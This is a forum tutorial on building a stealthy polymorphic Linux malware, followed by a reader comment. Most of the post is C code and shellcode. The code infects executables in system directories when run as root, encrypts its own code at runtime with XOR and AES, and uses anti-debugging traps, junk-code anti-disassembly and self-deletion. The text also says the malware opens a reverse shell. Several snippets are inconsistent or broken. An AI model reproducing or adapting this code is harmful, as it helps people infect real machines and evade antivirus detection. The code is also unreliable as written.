Writing a simple, Stealthy malware

Introduction

This article will discuss and demonstrate how polymorphic malware use self-modification to hide its inner workings, In my previous post metamorphic malware, I explained how to write a malware with metamorphism features. So what is it, Well, Polymorphic malware is an old idea basically “is being able to assign a different behavior or value to something” which make it tricky to detect and protect against, Polymorphic malware takes advantage of encryption to obfuscate its original code effectively evading detection by traditional signature-based detection mechanisms.

encrypting the code, However, The effectiveness of AV has improved over time In the early days detection relied heavily on signature-based scanning which programs would compare files and system components against a database of known malware signatures. which a malware can still be deadly until they’re detected and signed by antivirus companies, Now AV focuses more on using A.I and implementing more sophisticated algorithms such as behavior-based detection (monitoring the actions and activities of running programs) Still, There are plenty of examples of malware ignored by everyone because they are silent enough not to attract the attention of the guards.

Background

  • I’m assuming you’re familiar with Encryption techniques, XOR encryption, memory access and protection – before continuing, it’s recommended you read up on these topics.

Overview

  • The malware designed to be simple in the way it behave but complex enough to not attract attention, The idea behind the malware is not about executing payload but only about obfuscation and self-modification we will explore code snippets that demonstrate the implementation of obfuscation. These snippets will provide insights into the specific techniques and mechanisms employed to evade detection, Finally I’ll provide a detailed explanation of each code segment, shedding light on the inner workings of the malware.

Execution flow

  • The malware scans the current directory and overwrites all executable files that have not been previously infected each propagation uses a unique version of the code, The original executable is run from a hidden file it was copied to during the propagation to disguise the fact that the actual executable was infected. Finally, the malware spawns a child process, which creates a reverse shell that allows an attacker to execute commands on a remote host.

Propagation

Infect different directory if you run it as root or as a simple user, but the way it chooses its target will be the same.

if (uid == 0) {
        // Running as root
        scanDirectory("/bin", 1);
        scanDirectory("/sbin", 1);
        scanDirectory("/usr/bin", 1);
        scanDirectory("/usr/sbin", 1);
    } else {
        // Running as a simple user
        scanDirectory("/tmp/test", 0);
        scanDirectory("/tmp/test2", 0);
    }
  • If running as root, the program scans the directories “/bin”, “/sbin”, “/usr/bin”, and “/usr/sbin” by passing the flag 1 to the scanDirectory function.
  • If running as a simple user, the program scans the directories “/tmp/test” and “/tmp/test2” by passing the flag 0 to the scanDirectory function.
dir = opendir ("./"); 
if (dir != NULL) {

// Iterate over all files in the current directory
while ((ent = readdir (dir)) != NULL) {

// Select regular files only, not DT_DIR (directories) nor DT_LNK (links)
if (ent->d_type == DT_REG)
{

// Select executable and writable files that can be infected
if (access(ent->d_name, X_OK) == 0 && access(ent->d_name, W_OK) == 0)
{

// Ignore the executable that is running the program
if (strstr(exclude, ent->d_name) != NULL)
{
original_executable = ent->d_name;
}

// Ignore hidden executables with infected label
else if (strstr(ent->d_name, "infected") != NULL)
{
first_run = 0; 
} 
	 closedir (dir);  
} else {

// Error if directory fails to open
fprintf (stderr, "Cannot open %s (%s)\n", "./", strerror (errno));
exit (EXIT_FAILURE);
}

This one seems pretty self explanatory

propagate("./", argv[0]);

We call the propagate function for the propagation to start

if (first_run == 1)
{
execute("touch .foo_%s", original_executable);
execute("chmod +x .foo_%s", original_executable);
}

.foo_<original_executable> using the execute function. It uses the original_executable variable to construct the filename.

executes a bash command to change the permissions of the hidden file created in the previous line to make it executable. It uses the original_executable variable to construct the filename.

Obfuscation

The underlying idea behind XOR obfuscation is its use in one-time pad. Given a plaintext represented in bits, if it is XORed with a random key of equal length, then the resulting encryption is perfectly secure.

_basic_xor(unsigned char* xorcode, size_t size) {
unsigned char key[] = { 0x69, 0x13, 0x37, 0xd1, 0x9a, 0x33, 0x42 };
size_t keylen = 7;
for (unsigned long i = OFFSET; i < END; i++) {
*(code + i) ^= key[i % keylen];
	}
}

the plaintext represents a malware, then one can encrypt the malware by using a key of equivalent length. However, this requires huge key sizes. As a result, we use short key, single byte, and encrypt equivalent sized blocks. The use of a single byte is known as single-byte XOR encoding Due to short keys used in XOR encoding based obfuscation, there are various tools that can deobfuscate the malware or find the key.

unsigned char code[] = "\x55\x48\x89\xe5\x48\x83\xec\x10\xc7\x45\xfc\x22\x00\x00\x00\x8b\x45\xfc\x0f\xaf\x45\xf8\x8b\x45\xf8\x5d\xc3";

we declares a function named encrypted, assigns the address of the code to the encrypted function

int (*encrypted)() = (int(*)())code;

// obfuscate second code section using XOR
unsigned char* xorcode = code + sizeof(encrypted)/2 - 0x10;
// start of XOR instructions
basic_xor(xorcode, sizeof(xorcode));
// decrypt obfuscated code
basic_xor(xorcode, sizeof(xorcode));

We calls the obfuscate_xor function again to decrypt the previously obfuscated code located at the xorcode address. It effectively reverses the XOR operation, restoring the original code. The decryption routine together with the key is normally part of the code which obfuscates the code

Self-modification

The malware modifies its own instructions at runtime, enabling it to exhibit different behaviors dynamically, the self-modification technique is employed through the encryption process. The encrypt_code function modifies the code section by XORing its bytes with a counter value derived from the initialization vector (IV). This process alters the code bytes, effectively encrypting the code section.
By encrypting the code, the malware achieves polymorphic behavior because the encrypted code appears different each time it runs. This makes it challenging for static analysis techniques to detect and analyze the malicious behavior.

// get pointer to first byte of main function
uint8_t* code = (uint8_t*) &main;

// calculate page size and mask for page alignment
long pagesize = sysconf(_SC_PAGESIZE);
if (pagesize <= 0)
return 1;
size_t mask = pagesize - 1;

// align code to page boundary
void* alignedcode = (void*) ((size_t) code & ~mask);

// make code writable
if (mprotect(alignedcode, (size_t) code - (size_t) alignedcode + END, PROT_READ | PROT_WRITE | PROT_EXEC))
return 1;

The code aligns the code pointer to a page boundary and makes the code section writable using mprotect. This allows modifications to the code section.

    unsigned char key1[32], iv1[16], key2[32], iv2[16];
    if (RAND_bytes(key1, sizeof(key1)) != 1 || RAND_bytes(iv1, sizeof(iv1)) != 1
        || RAND_bytes(key2, sizeof(key2)) != 1 || RAND_bytes(iv2, sizeof(iv2)) != 1)
        return 1;

generate random encryption keys and initialization vectors, All code after the first nop is encrypted, including functions

// encrypt first code section using key1 and iv1
encrypt_code(unsigned char* code, size_t size, unsigned char* key, unsigned char* iv) {
AES_KEY aes_key;

if (AES_set_encrypt_key(key, 256, &aes_key) < 0)
exit(1);
for (unsigned long i = 0; i < size; i += AES_BLOCK_SIZE) {
unsigned char ctr[AES_BLOCK_SIZE];
AES_encrypt(iv, ctr, &aes_key);
for (unsigned int j = 0; j < AES_BLOCK_SIZE && i + j < size; j++) {
code[i + j] ^= ctr[j];
	}
iv[0]++;
}
	}
}

The encrypt_code function takes a code section, size, key, and initialization vector (IV) as parameters. It encrypts the code section using AES encryption. It generates a counter value using the IV and XORs the code bytes with the counter. This effectively encrypts the code section.

    // encrypt second code section using key2 and iv2
    AES_KEY aes_key2;
    if (AES_set_encrypt_key(key2, 256, &aes_key2) < 0)
        return 1;
    for (unsigned long i = END/2; i < END; i += AES_BLOCK_SIZE) {
        unsigned char ctr[AES_BLOCK_SIZE];
        AES_encrypt(iv2, ctr, &aes_key2);
        for (unsigned int j = 0; j < AES_BLOCK_SIZE && i + j < END; j++) {
            *(code + i + j) ^= ctr[j];
        }
        iv2[0]++;
    }

We add a random delay before encryption by generating a delay between 0 and 999 milliseconds using srand and rand. It then sleeps for the calculated delay using usleep.

// add random delay before encryption
srand(time(NULL));
int delay = rand() % 1000; // random delay between 0 and 999 milliseconds
usleep(delay * 1000);

// make code read-only and executable
if (mprotect(alignedcode, (size_t) code - (size_t) alignedcode + END, PROT_READ | PROT_EXEC))
return 1;

After the encryption process and delay, the code snippet makes the code section read-only and executable again using mprotect. This helps to enforce memory protection and prevent further modifications.

Anti-Analysis

In this part we use a various forms of anti-analysis measures, and self-modifying behavior, making it more difficult for analysts to understand the inner workings of the code and extract meaningful information

Anti-debugging

Anti-Debug Trick INT3 Trap Shellcode the INT3 instruction, triggers a breakpoint interrupt, commonly used for debugging purposes. By incorporating INT3 instructions strategically within the shellcode, it attempts to interrupt and disrupt the debugging process, making it difficult for a debugger to analyze the code flow.

char shellcode[] = "\xeb\x63\x48\x89\xe6\x6a\x0d\x59"\
"\x6a\x01\xfe\x0c\x24\xe2\xf9\x80"\
"\xc9\x0d\x54\x48\x89\xe2\x0f\x05"\
"\xcc\x48\x31\xc0\x48\x89\xc7\xb0"\
"\x3c\xeb\xf3\x6a\x0d\x59\x4d\x31"\
"\xc9\x41\x51\xe2\xfc\x49\x89\xe1"\
"\x49\x83\xc1\x03\x41\x80\x09\x14"\
"\x49\x83\xc1\x0d\x66\x41\x83\x09"\
"\xff\xe8\xbc\xff\xff\xff\x99\x48"\
"\x31\xc0\xb0\x3b\x52\x48\xbf\x2f"\
"\x62\x69\x6e\x2f\x2f\x73\x68\x57"\
"\x54\x5f\x4d\x31\xc9\x4c\x89\xce"\
"\x48\x89\xf2\xeb\xb1\x6a\x0d\x58"\
"\x6a\x05\x5f\x6a\x08\x41\x5a\xeb"\
"\xb2";

Anti-disassembling

“junk code” we defined macro named JUNK, which consists of assembly instructions deliberately designed to confuse reverser. The macro includes instructions such as pushing and popping the eax register, XORing eax with itself, and using an undefined instruction sequence, followed by a single byte (0x04). These instructions introduce meaningless code that can make the disassembly output more hard to know what exactly going on.

#define JUNK \

__asm__ volatile("push %eax \n"\
				 "xor %eax, %eax\n"\
				 "jz .+5 \n"\
				 ".word 0xC483 \n"\
				 ".byte 0x04 \n"\
				 "pop %eax \n");

Autodestruction

This Part of the code will come as Kill-Switch sending the malware a command to delete itself from infected devices also it can be used as anti-analysis techniques. simply utilizing a combination of forking a child process and executing code in the child process, the autodestruction mechanism adds a layer of complexity to the self-destruction process. This complexity can make it more challenging for novice reversers or analysts to understand the behavior of the malware, By dynamically creating a detached thread and copying code instructions into memory, the autodestruction mechanism can avoid static analysis techniques that rely on examining the original executable file. Additionally, the attempts to delete the file and the usage of sleep delays further complicate the analysis process.

remote_thread that is executed in a remote process. It waits for the parent process to terminate using pthread_join, attempts to delete the file specified by szFileName using fnUnlink, and if the deletion fails, it sleeps for one second before trying again. Finally, it exits the remote process using fnExit.

/* Routine to execute in remote process. */
static void remote_thread(SELFDEL *remote)
{

/* wait for parent process to terminate */
void *status;
pthread_join(pthread_self(), &status);

/* try to delete the executable file */
while(remote->fnUnlink(remote->szFileName) == -1)

{

/* failed - try again in one second's time */
remote->fnSleep(1);
}

/* finished! exit so that we don't execute garbage code */
remote->fnExit(0);
}

SelfDelete function that initiates the self-deletion process. It creates a child process using fork() and executes different code paths for the parent and child processes.

/* Delete currently running executable and exit */
int SelfDelete(int fRemoveDirectory)

{

SELFDEL local = {0};
pid_t pid = fork();
if (pid == -1) {
perror("fork");
return -1;
} else if (pid == 0) { // child process

// copy in binary code

memcpy(local.opCodes, &remote_thread, CODESIZE);
local.fnWaitForSingleObject = (void (*)(void *))pthread_join;
local.fnCloseHandle = (void (*)(void *))pthread_detach;
local.fnUnlink = unlink;
local.fnSleep = (void (*)(unsigned int))sleep;
local.fnExit = exit;
local.fRemDir = fRemoveDirectory;
getcwd(local.szFileName, PATH_MAX);
strcat(local.szFileName, "/");
strcat(local.szFileName, program_invocation_name);

// Give remote process a copy of our own process pid
local.hParent = getpid();

// create detached thread
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
pthread_t tid;

int rc = pthread_create(&tid, &attr, (void *(*)(void *))&remote_thread, &local);

pthread_attr_destroy(&attr);
if (rc != 0) {
perror("pthread_create");
	return -1;

}

// sleep for a second before exiting
sleep(1);
	return 0;

} else { // parent process

	return 1;
	}
}

In the child process, it initializes the local structure with relevant information, such as copying the remote_thread code into opCodes, setting function pointers to appropriate functions, obtaining the file name using getcwd and program_invocation_name, and setting the parent process ID.
It then creates a detached thread using pthread_create, passing the remote_thread function and the local structure as arguments. After a sleep of one second, it returns 0, indicating that it is the child process.

END

In this article, we explored dynamic encryption keys, code obfuscation, and anti-analysis techniques. I hope you learned something from this. Please notice that this article is not meant to give script kiddies malware that they will be able to use. This article only has to teach you the basics

7 Likes

from a fellow Moroccan to another .great article,information flow on point looking forward to seeing more of Ur writings

1 Like